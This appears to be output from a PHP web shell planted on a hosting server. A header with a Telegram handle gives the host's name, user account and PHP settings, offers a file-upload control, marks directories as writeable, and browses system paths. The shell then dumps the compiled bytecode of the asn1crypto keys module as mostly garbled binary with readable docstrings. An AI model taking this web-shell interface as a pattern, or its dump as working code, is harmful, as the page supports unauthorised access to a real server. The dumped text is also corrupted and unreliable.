https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/asn1crypto/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/asn1crypto/keys.pyc
�
y�\c@`sdZddlmZmZmZmZddlZddlZddlm	Z	m
Z
mZmZm
Z
mZmZddlmZddlmZmZmZddlmZmZmZmZdd	lmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*dd
l+m,Z,m-Z-de(fd��YZ.d
e)fd��YZ/de fd��YZ0de(fd��YZ1de(fd��YZ2de(fd��YZ3dfd��YZ4de%e4fd��YZ5de$e4fd��YZ6de fd��YZ7de#fd ��YZ8d!e#fd"��YZ9d#e(fd$��YZ:d%e(fd&��YZ;d'e(fd(��YZ<d)e(fd*��YZ=d+e(fd,��YZ>d-e#fd.��YZ?d/efd0��YZ@d1e fd2��YZAd3e(fd4��YZBd5e(fd6��YZCd7e(fd8��YZDd9e*fd:��YZEd;e#fd<��YZFd=ee(fd>��YZGd?e(fd@��YZHdAe(fdB��YZIdCe(fdD��YZJdEe(fdF��YZKdGe#fdH��YZLdIee(fdJ��YZMdKe(fdL��YZNdS(Mu'
ASN.1 type classes for public and private keys. Exports the following items:

 - DSAPrivateKey()
 - ECPrivateKey()
 - EncryptedPrivateKeyInfo()
 - PrivateKeyInfo()
 - PublicKeyInfo()
 - RSAPrivateKey()
 - RSAPublicKey()

Other type classes are defined that help compose the types listed above.
i(tunicode_literalstdivisiontabsolute_importtprint_functionNi(tSECP192R1_BASE_POINTtSECP224R1_BASE_POINTtSECP256R1_BASE_POINTtSECP384R1_BASE_POINTtSECP521R1_BASE_POINTt
PrimeCurvet
PrimePoint(tunwrap(t	type_nametstr_clstbyte_cls(t_ForceNullParameterstDigestAlgorithmtEncryptionAlgorithmtRSAESOAEPParams(tAnyt	Asn1Valuet	BitStringtChoicetIntegertIntegerOctetStringtNulltObjectIdentifiertOctetBitStringtOctetStringtParsableOctetStringtParsableOctetBitStringtSequencet
SequenceOftSetOf(tint_from_bytestint_to_bytestOtherPrimeInfocB`s/eZdZdefdefdefgZRS(u=
    Source: https://tools.ietf.org/html/rfc3447#page-46
    uprimeuexponentucoefficient(t__name__t
__module__t__doc__Rt_fields(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR$6s		tOtherPrimeInfoscB`seZdZeZRS(u=
    Source: https://tools.ietf.org/html/rfc3447#page-46
    (R%R&R'R$t_child_spec(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR)BstRSAPrivateKeyVersioncB`s"eZdZidd6dd6ZRS(uX
    Original Name: Version
    Source: https://tools.ietf.org/html/rfc3447#page-45
    u	two-primeiumultii(R%R&R't_map(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR+Jst
RSAPrivateKeycB`sxeZdZdefdefdefdefdefdefdefdefd	efd
eied6fg
ZRS(u=
    Source: https://tools.ietf.org/html/rfc3447#page-45
    uversionumodulusupublic_exponentuprivate_exponentuprime1uprime2u	exponent1u	exponent2ucoefficientuother_prime_infosuoptional(R%R&R'R+RR)tTrueR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR-Vs									tRSAPublicKeycB`s&eZdZdefdefgZRS(u=
    Source: https://tools.ietf.org/html/rfc3447#page-44
    umodulusupublic_exponent(R%R&R'RR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR/is	t
DSAPrivateKeycB`sJeZdZdefdefdefdefdefdefgZRS(u&
    The ASN.1 structure that OpenSSL uses to store a DSA private key that is
    not part of a PKCS#8 structure. Reversed engineered from english-language
    description on linked OpenSSL documentation page.

    Original Name: None
    Source: https://www.openssl.org/docs/apps/dsa.html
    uversionupuqugu
public_keyuprivate_key(R%R&R'RR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR0ts					t_ECPointcB`s&eZdZed��Zd�ZRS(u

    In both PublicKeyInfo and PrivateKeyInfo, the EC public key is a byte
    string that is encoded as a bit string. This class adds convenience
    methods for converting to and from the byte string to a pair of integers
    that are the X and Y coordinates.
    cC`s�ttjtj|d�d��}ttjtj|d�d��}t||�}d}|t|d|�7}|t|d|�7}||�S(u
        Creates an ECPoint object from the X and Y integer coordinates of the
        point

        :param x:
            The X coordinate, as an integer

        :param y:
            The Y coordinate, as an integer

        :return:
            An ECPoint object
        ig @stwidth(tinttmathtceiltlogtmaxR#(tclstxtytx_bytesty_bytest	num_bytestbyte_string((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pytfrom_coords�s%%cC`s�|j}|dd!}|dkri|d}t|�d}t|d|!�}t||�}||fS|tddg�kr�ttd���nttd���d	S(
u�
        Returns the X and Y coordinates for this EC point, as native Python
        integers

        :return:
            A 2-element tuple containing integers (X, Y)
        iisissuQ
                Invalid EC public key - first byte is incorrect
                u|
            Compressed representations of EC public keys are not supported due
            to patent US6252960
            N(tnativetlenR"tsett
ValueErrorR(tselftdatat
first_bytet	remainingt	field_lenR9R:((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt	to_coords�s		


(R%R&R'tclassmethodR?RI(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR1�stECPointcB`seZRS((R%R&(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRK�stECPointBitStringcB`seZRS((R%R&(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRL�stSpecifiedECDomainVersioncB`s)eZdZidd6dd6dd6ZRS(u:
    Source: http://www.secg.org/sec1-v2.pdf page 104
    uecdpVer1iuecdpVer2iuecdpVer3i(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRM�s
t	FieldTypecB`s"eZdZidd6dd6ZRS(uR
    Original Name: None
    Source: http://www.secg.org/sec1-v2.pdf page 101
    uprime_fieldu1.2.840.10045.1.1ucharacteristic_two_fieldu1.2.840.10045.1.2(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRN�stCharacteristicTwoBasiscB`s)eZdZidd6dd6dd6ZRS(uR
    Original Name: None
    Source: http://www.secg.org/sec1-v2.pdf page 102
    ugn_basisu1.2.840.10045.1.2.1.1utp_basisu1.2.840.10045.1.2.1.2upp_basisu1.2.840.10045.1.2.1.3(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRO�s
tPentanomialcB`s/eZdZdefdefdefgZRS(u:
    Source: http://www.secg.org/sec1-v2.pdf page 102
    uk1uk2uk3(R%R&R'RR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRP�s		tCharacteristicTwocB`sPeZdZdefdefdefgZdZied6ed6e	d6Z
RS(u`
    Original Name: Characteristic-two
    Source: http://www.secg.org/sec1-v2.pdf page 101
    umubasisu
parametersugn_basisutp_basisupp_basis(ubasisu
parameters(R%R&R'RRORR(t	_oid_pairRRPt
_oid_specs(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRQs		tFieldIDcB`s@eZdZdefdefgZdZied6ed6Z	RS(u:
    Source: http://www.secg.org/sec1-v2.pdf page 100
    u
field_typeu
parametersuprime_fielducharacteristic_two_field(u
field_typeu
parameters(
R%R&R'RNRR(RRRRQRS(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRTs	tCurvecB`s9eZdZdefdefdeied6fgZRS(u:
    Source: http://www.secg.org/sec1-v2.pdf page 104
    uaubuseeduoptional(R%R&R'RRR.R((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRU-s		tSpecifiedECDomaincB`sgeZdZdefdefdefdefdefdeied6fde	ied6fgZ
RS(	u:
    Source: http://www.secg.org/sec1-v2.pdf page 103
    uversionufield_iducurveubaseuorderucofactoruoptionaluhash(R%R&R'RMRTRURKRR.RR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRV9s					t
NamedCurvecB`s,eZdZi(dd6dd6dd6dd6d	d
6dd6d
d6dd6dd6dd6dd6dd6dd6dd6dd6dd 6d!d"6d#d$6d%d&6d'd(6d)d*6d+d,6d-d.6d/d06d1d26d3d46d5d66d7d86d9d:6d;d<6d=d>6d?d@6dAdB6dCdD6dEdF6dGdH6dIdJ6dKdL6dMdN6dOdP6ZRS(Qu�
    Various named curves

    Original Name: None
    Source: https://tools.ietf.org/html/rfc3279#page-23,
            https://tools.ietf.org/html/rfc5480#page-5
    u
c2pnb163v1u1.2.840.10045.3.0.1u
c2pnb163v2u1.2.840.10045.3.0.2u
c2pnb163v3u1.2.840.10045.3.0.3u
c2pnb176w1u1.2.840.10045.3.0.4u
c2tnb191v1u1.2.840.10045.3.0.5u
c2tnb191v2u1.2.840.10045.3.0.6u
c2tnb191v3u1.2.840.10045.3.0.7u
c2onb191v4u1.2.840.10045.3.0.8u
c2onb191v5u1.2.840.10045.3.0.9u
c2pnb208w1u1.2.840.10045.3.0.10u
c2tnb239v1u1.2.840.10045.3.0.11u
c2tnb239v2u1.2.840.10045.3.0.12u
c2tnb239v3u1.2.840.10045.3.0.13u
c2onb239v4u1.2.840.10045.3.0.14u
c2onb239v5u1.2.840.10045.3.0.15u
c2pnb272w1u1.2.840.10045.3.0.16u
c2pnb304w1u1.2.840.10045.3.0.17u
c2tnb359v1u1.2.840.10045.3.0.18u
c2pnb368w1u1.2.840.10045.3.0.19u
c2tnb431r1u1.2.840.10045.3.0.20u
prime192v2u1.2.840.10045.3.1.2u
prime192v3u1.2.840.10045.3.1.3u
prime239v1u1.2.840.10045.3.1.4u
prime239v2u1.2.840.10045.3.1.5u
prime239v3u1.2.840.10045.3.1.6u	sect163k1u1.3.132.0.1u	sect163r2u1.3.132.0.15u	secp192r1u1.2.840.10045.3.1.1u	secp224r1u1.3.132.0.33u	sect233k1u1.3.132.0.26u	secp256r1u1.2.840.10045.3.1.7u	sect233r1u1.3.132.0.27u	sect283k1u1.3.132.0.16u	sect283r1u1.3.132.0.17u	secp384r1u1.3.132.0.34u	sect409k1u1.3.132.0.36u	sect409r1u1.3.132.0.37u	secp521r1u1.3.132.0.35u	sect571k1u1.3.132.0.38u	sect571r1u1.3.132.0.39(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRWIsTtECDomainParameterscB`s/eZdZdefdefdefgZRS(u:
    Source: http://www.secg.org/sec1-v2.pdf page 102
    u	specifiedunameduimplicit_ca(R%R&R'RVRWRt
_alternatives(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRX�s		tECPrivateKeyVersioncB`seZdZidd6ZRS(uR
    Original Name: None
    Source: http://www.secg.org/sec1-v2.pdf page 108
    u
ecPrivkeyVer1i(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRZ�stECPrivateKeycB`sZeZdZdefdefdeidd6ed6fdeidd6ed6fgZRS(	u:
    Source: http://www.secg.org/sec1-v2.pdf page 108
    uversionuprivate_keyu
parametersiuexplicituoptionalu
public_keyi(	R%R&R'RZRRXR.RLR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR[�s
		t	DSAParamscB`s/eZdZdefdefdefgZRS(u�
    Parameters for a DSA public or private key

    Original Name: Dss-Parms
    Source: https://tools.ietf.org/html/rfc3279#page-9
    upuqug(R%R&R'RR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR\�s		t	AttributecB`s0eZdZdefdeied6fgZRS(uq
    Source: https://www.itu.int/rec/dologin_pub.asp?lang=e&id=T-REC-X.501-198811-S!!PDF-E&type=items page 8
    utypeuvaluesuspec(R%R&R'RR!RR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR]�s	t
AttributescB`seZdZeZRS(u<
    Source: https://tools.ietf.org/html/rfc5208#page-3
    (R%R&R'R]R*(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR^�stPrivateKeyAlgorithmIdcB`s)eZdZidd6dd6dd6ZRS(u�
    These OIDs for various public keys are reused when storing private keys
    inside of a PKCS#8 structure

    Original Name: None
    Source: https://tools.ietf.org/html/rfc3279
    ursau1.2.840.113549.1.1.1udsau1.2.840.10040.4.1uecu1.2.840.10045.2.1(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR_�s
tPrivateKeyAlgorithmcB`sJeZdZdefdeied6fgZdZied6e	d6Z
RS(um
    Original Name: PrivateKeyAlgorithmIdentifier
    Source: https://tools.ietf.org/html/rfc5208#page-3
    u	algorithmu
parametersuoptionaludsauec(u	algorithmu
parameters(R%R&R'R_RR.R(RRR\RXRS(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR`�s	tPrivateKeyInfocB`seZdZdefdefdefdeidd6ed6fgZd�Z	ie	d6Z
dZdZ
dZdZed	��Zd
�Zd�Zed��Zed
��Zed��Zed��Zed��Zed��Zed��Zed��ZRS(u<
    Source: https://tools.ietf.org/html/rfc5208#page-3
    uversionuprivate_key_algorithmuprivate_keyu
attributesiuimplicituoptionalcC`s.|ddj}itd6td6td6|S(Nuprivate_key_algorithmu	algorithmursaudsauec(R@R-RR[(RDt	algorithm((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt_private_key_spec�scC`s�t|t�r>t|t�r>ttdt|����n|dkrwt|t�sktj|�}nt�}n�|dkr�t|t	�s�t	j|�}nt
�}|d|d<|d|d<|d|d<|d}|d}nh|d	kr;t|t�stj|�}n|j�}|d
}|d
=nt
tdt|����t�}t|�|d<||d
<|�}||_td
�|d<||d<||d<|dkr�||_n|S(u'
        Wraps a private key in a PrivateKeyInfo structure

        :param private_key:
            A byte string or Asn1Value object of the private key

        :param algorithm:
            A unicode string of "rsa", "dsa" or "ec"

        :return:
            A PrivateKeyInfo object
        uX
                private_key must be a byte string or Asn1Value, not %s
                ursaudsaupuqugu
public_keyuprivate_keyuecu
parametersuU
                algorithm must be one of "rsa", "dsa", "ec", not %s
                u	algorithmiuversionuprivate_key_algorithm(t
isinstanceRRt	TypeErrorRRR-tloadRR0R\R[tcopyRCtreprR`R_t
_algorithmRt_public_key(R8tprivate_keyRbtparamst
public_keytprivate_key_algot	container((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pytwrapsJ 	



	
		

c
C`s�|jdkrK|dd}tt|dj|djj|dj��S|jdkr�|dj}ti|dd6|d	d	6�S|jd
kr�|j\}}|dkr�ttd���n|d
krg|dddkr�ttd���nt	|ddt
|dd�t
|dd��}|ddjdj�\}}t
|||�}n`|dkr�|dkr�ttd|���nitd6td6td6td6td6|}n||djdj}	tj|	j|	j�SdS(u�
        Computes the public key corresponding to the current private key.

        :return:
            For RSA keys, an RSAPublicKey object. For DSA keys, an Integer
            object. For EC keys, an ECPointBitString.
        udsauprivate_key_algorithmu
parametersuguprivate_keyupursaumodulusupublic_exponentuecuimplicit_cau�
                    Unable to compute public key for EC key using Implicit CA
                    parameters
                    u	specifiedufield_idu
field_typeucharacteristic_two_fieldu�
                        Unable to compute public key for EC key over a
                        characteristic two field
                        ucurveuaububaseunamedu	secp192r1u	secp224r1u	secp256r1u	secp384r1u	secp521r1u�
                        Unable to compute public key for EC named curve %s,
                        parameters not currently included
                        N(u	secp192r1u	secp224r1u	secp256r1u	secp384r1u	secp521r1(RbRtpowR@tparsedR/tcurveRCRR	R"tchosenRIR
RRRRRRLR?R9R:(
RDRltkeyt
curve_typetdetailsRstbase_xtbase_yt
base_pointtpublic_point((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt_compute_public_keyLsP	


!
cC`s�|jdkr|djS|jdkr�|dd}tidd6|dd6|d	d	6|d
d
6|jd6|djd6�S|jdkr�|dj}|dd|d<|j|d<|Sd
S(u�
        Unwraps the private key into an RSAPrivateKey, DSAPrivateKey or
        ECPrivateKey object

        :return:
            An RSAPrivateKey, DSAPrivateKey or ECPrivateKey object
        ursauprivate_keyudsauprivate_key_algorithmu
parametersiuversionupuqugu
public_keyuecN(RbRrR0Rm(RDRltoutput((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR�s 	


cC`su|jdkr0ttd|jj����n|dd}|j}|jdkr_d}n	|j}|j|fS(u#
        Returns information about the curve used for an EC key

        :raises:
            ValueError - when the key is not an EC key

        :return:
            A two-element tuple, with the first element being a unicode string
            of "implicit_ca", "specified" or "named". If the first element is
            "implicit_ca", the second is None. If "specified", the second is
            an OrderedDict that is the native version of SpecifiedECDomain. If
            "named", the second is a unicode string of the curve name.
        uecuK
                Only EC keys have a curve, this key is %s
                uprivate_key_algorithmu
parametersuimplicit_caN(RbRCRtupperRttnametNoneR@(RDRlRttvalue((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRs�s			cC`si|jdkr0ttd|jj����ntj|dddjd�d}|dkred	Sd
S(u�
        Returns the name of the family of hash algorithms used to generate a
        DSA key

        :raises:
            ValueError - when the key is not a DSA key

        :return:
            A unicode string of "sha1" or "sha2"
        udsaut
                Only DSA keys are generated using a hash algorithm, this key is
                %s
                uprivate_key_algorithmu
parametersuqiiiusha1usha2(RbRCRR~R4R6R@(RDtbyte_len((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt	hash_algo�s
%cC`s-|jdkr&|ddj|_n|jS(uO
        :return:
            A unicode string of "rsa", "dsa" or "ec"
        uprivate_key_algorithmu	algorithmN(RiR�R@(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRb�scC`s�|jdkr�|jdkr5|djdj}nM|jdkr\|dddj}n&|jdkr�|djdj}nttjtj|d	���|_|jd
}|dkr�|jd
|7_q�n|jS(
uU
        :return:
            The bit size of the private key, as an integer
        ursauprivate_keyumodulusudsauprivate_key_algorithmu
parametersupueciiiN(	t	_bit_sizeR�RbRrR@R3R4R5R6(RDtprimetmodulus((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pytbit_size�s$
cC`sttj|jd��S(uV
        :return:
            The byte size of the private key, as an integer
        i(R3R4R5R�(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt	byte_size
scC`sv|jdkro|jdkr]|dj}|drK|dj�|_ql|j�|_qo|j�|_n|jS(u�
        :return:
            If an RSA key, an RSAPublicKey object. If a DSA key, an Integer
            object. If an EC key, an ECPointBitString object.
        uecuprivate_keyu
public_keyN(RjR�RbRrtuntagR|(RDRu((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRms

cC`s4tii|jd6|ddd6d6|jd6�S(u\
        :return:
            A PublicKeyInfo object derived from this private key.
        u	algorithmuprivate_key_algorithmu
parametersu
public_key(t
PublicKeyInfoRbRm(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pytpublic_key_info*s

cC`s�|jdkr�|dd}|dj}|jdkrZd|dj|djf}nQ|jdkr�|j}d	|d
j|dj|dj|jf}n|jd
kr�|dj}|dkr�|jj}n|jdkrd|jj}|jd�}||7}q�|jdkr-|}q�|jdkr�d|jddj}|jd�}|d|jddj7}|d|jddj7}||7}q�nt	|t
�r�|jd�}ntj|�j
�|_n|jS(uY
        Creates a fingerprint that can be compared with a public key to see if
        the two form a pair.

        This fingerprint is not compatible with fingerprints generated by any
        other software.

        :return:
            A byte string that is a sha256 hash of selected components (based
            on the key type)
        uprivate_key_algorithmu
parametersuprivate_keyursau%d:%dumodulusupublic_exponentudsau%d:%d:%d:%dupuquguecu
public_keyunamedu%s:uutf-8uimplicit_cau	specifiedufield_idt:ucurveuaubN(t_fingerprintR�RrRbR@RmRRttencodeRdR
thashlibtsha256tdigest(RDRlRutto_hashRm((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pytfingerprint9sD

	




	N(R%R&R'RR`RR^R.R(Rct_spec_callbacksR�RiR�RjR�RJRpR|RtpropertyRsR�RbR�R�RmR�R�(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRa�s.			 	
D	I	"	tEncryptedPrivateKeyInfocB`s&eZdZdefdefgZRS(u<
    Source: https://tools.ietf.org/html/rfc5208#page-4
    uencryption_algorithmuencrypted_data(R%R&R'RRR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR�vs	tValidationParmscB`s&eZdZdefdefgZRS(u=
    Source: https://tools.ietf.org/html/rfc3279#page-10
    useedupgen_counter(R%R&R'RRR((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��s	tDomainParametersc	B`sUeZdZdefdefdefdeied6fdeied6fgZRS(u=
    Source: https://tools.ietf.org/html/rfc3279#page-10
    upuguqujuoptionaluvalidation_params(R%R&R'RR.R�R((((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��s			tPublicKeyAlgorithmIdcB`s7eZdZidd6dd6dd6dd6d	d
6ZRS(uM
    Original Name: None
    Source: https://tools.ietf.org/html/rfc3279
    ursau1.2.840.113549.1.1.1u
rsaes_oaepu1.2.840.113549.1.1.7udsau1.2.840.10040.4.1uecu1.2.840.10045.2.1udhu1.2.840.10046.2.1(R%R&R'R,(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��stPublicKeyAlgorithmcB`sXeZdZdefdeied6fgZdZied6e	d6e
d6ed6ZRS(	ud
    Original Name: AlgorithmIdentifier
    Source: https://tools.ietf.org/html/rfc5280#page-18
    u	algorithmu
parametersuoptionaludsauecudhu
rsaes_oaep(u	algorithmu
parameters(
R%R&R'R�RR.R(RRR\RXR�RRS(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��s	R�cB`s�eZdZdefdefgZd�Zied6ZdZ	dZ
dZdZdZ
ed��Zd�Zed��Zed��Zed��Zed	��Zed
��Zed��Zed��Zed
��ZRS(ue
    Original Name: SubjectPublicKeyInfo
    Source: https://tools.ietf.org/html/rfc5280#page-17
    u	algorithmu
public_keycC`sB|ddj}itd6td6td6tdfd6td6|S(Nu	algorithmursau
rsaes_oaepudsauecudh(R@R/RRLR�(RDRb((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt_public_key_spec�s
cC`s�t|t�r>t|t�r>ttdt|����n|dkrhttdt|����nt�}t	|�|d<t
�|d<|�}||d<t|t�r�|j�j�}nt
|�|d<|S(u
        Wraps a public key in a PublicKeyInfo structure

        :param public_key:
            A byte string or Asn1Value object of the public key

        :param algorithm:
            A unicode string of "rsa"

        :return:
            A PublicKeyInfo object
        uW
                public_key must be a byte string or Asn1Value, not %s
                ursau>
                algorithm must "rsa", not %s
                u	algorithmu
parametersu
public_key(RdRRReRRRCRhR�R�RR�tdumpR(R8RmRbtalgoRo((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRp�s" 	
	
cC`s]|jdkr|djS|jj�}|dkr;dnd}ttd||���dS(u�
        Unwraps an RSA public key into an RSAPublicKey object. Does not support
        DSA or EC public keys since they do not have an unwrapped form.

        :return:
            An RSAPublicKey object
        ursau
public_keyuECuanuauj
            Only RSA public keys may be unwrapped - this key is %s %s public
            key
            N(RbRrR~RCR(RDtkey_typeta_an((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRs	cC`su|jdkr0ttd|jj����n|dd}|j}|jdkr_d}n	|j}|j|fS(u#
        Returns information about the curve used for an EC key

        :raises:
            ValueError - when the key is not an EC key

        :return:
            A two-element tuple, with the first element being a unicode string
            of "implicit_ca", "specified" or "named". If the first element is
            "implicit_ca", the second is None. If "specified", the second is
            an OrderedDict that is the native version of SpecifiedECDomain. If
            "named", the second is a unicode string of the curve name.
        uecuK
                Only EC keys have a curve, this key is %s
                u	algorithmu
parametersuimplicit_caN(RbRCRR~RtRR�R@(RDRlRtR�((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRs's			cC`s�|jdkr0ttd|jj����n|dd}|jdkrQdStj|djd�d}|dkr~d	Sd
S(u#
        Returns the name of the family of hash algorithms used to generate a
        DSA key

        :raises:
            ValueError - when the key is not a DSA key

        :return:
            A unicode string of "sha1" or "sha2" or None if no parameters are
            present
        udsaut
                Only DSA keys are generated using a hash algorithm, this key is
                %s
                u	algorithmu
parametersuqiiiusha1usha2N(RbRCRR~R@R�R4R6(RDt
parametersR�((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR�IscC`s-|jdkr&|ddj|_n|jS(uO
        :return:
            A unicode string of "rsa", "dsa" or "ec"
        u	algorithmN(RiR�R@(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyRbhscC`s�|jd
kr�|jdkrCt|dj�ddd|_q�|jdkri|djdj}n'|jdkr�|d	d
dj}nttjtj	|d���|_|jd}|dkr�|jd|7_q�n|jS(uT
        :return:
            The bit size of the public key, as an integer
        uecu
public_keyiiiursaumodulusudsau	algorithmu
parametersupiN(
R�R�RbRAR@RrR3R4R5R6(RDR�R�((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR�ss%$
cC`sttj|jd��S(uU
        :return:
            The byte size of the public key, as an integer
        i(R3R4R5R�(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��scC`s;|jdkr4tjt|d��j�|_n|jS(ue
        :return:
            The SHA1 hash of the DER-encoded bytes of this public key info
        u
public_keyN(t_sha1R�R�tsha1RR�(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��s%cC`s;|jdkr4tjt|d��j�|_n|jS(uh
        :return:
            The SHA-256 hash of the DER-encoded bytes of this public key info
        u
public_keyN(t_sha256R�R�R�RR�(RD((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��s%cC`s�|jdkr�|ddj}|dd}|dkrh|dj}d|dj|djf}n:|dkr�|dj}d	|d
j|dj|dj|jf}n�|d
kr�|d}|jdkrd|jj}|jd�}||j7}q�|jdkr!|j}q�|jdkr�d|jddj}|jd�}|d|jddj7}|d|jddj7}||j7}q�nt|t�r�|jd�}nt	j
|�j�|_n|jS(uZ
        Creates a fingerprint that can be compared with a private key to see if
        the two form a pair.

        This fingerprint is not compatible with fingerprints generated by any
        other software.

        :return:
            A byte string that is a sha256 hash of selected components (based
            on the key type)
        u	algorithmu
parametersursau
public_keyu%d:%dumodulusupublic_exponentudsau%d:%d:%d:%dupuquguecunamedu%s:uutf-8uimplicit_cau	specifiedufield_idR�ucurveuaubN(R�R�R@RrRRtR�RdR
R�R�R�(RDR�RlRuR�((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��sB






N(R%R&R'R�RR(R�R�R�RiR�R�R�R�RJRpRR�RsR�RbR�R�R�R�R�(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyR��s*		
+	"	(OR't
__future__RRRRR�R4t_elliptic_curveRRRRRR	R
t_errorsRt_typesRR
RtalgosRRRRtcoreRRRRRRRRRRRRRR R!tutilR"R#R$R)R+R-R/R0R1RKRLRMRNRORPRQRTRURVRWRXRZR[R\R]R^R_R`RaR�R�R�R�R�R�(((s5/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/keys.pyt<module>sV"4	"dF
7
��


https://t.me/AnonymousX5 - 2025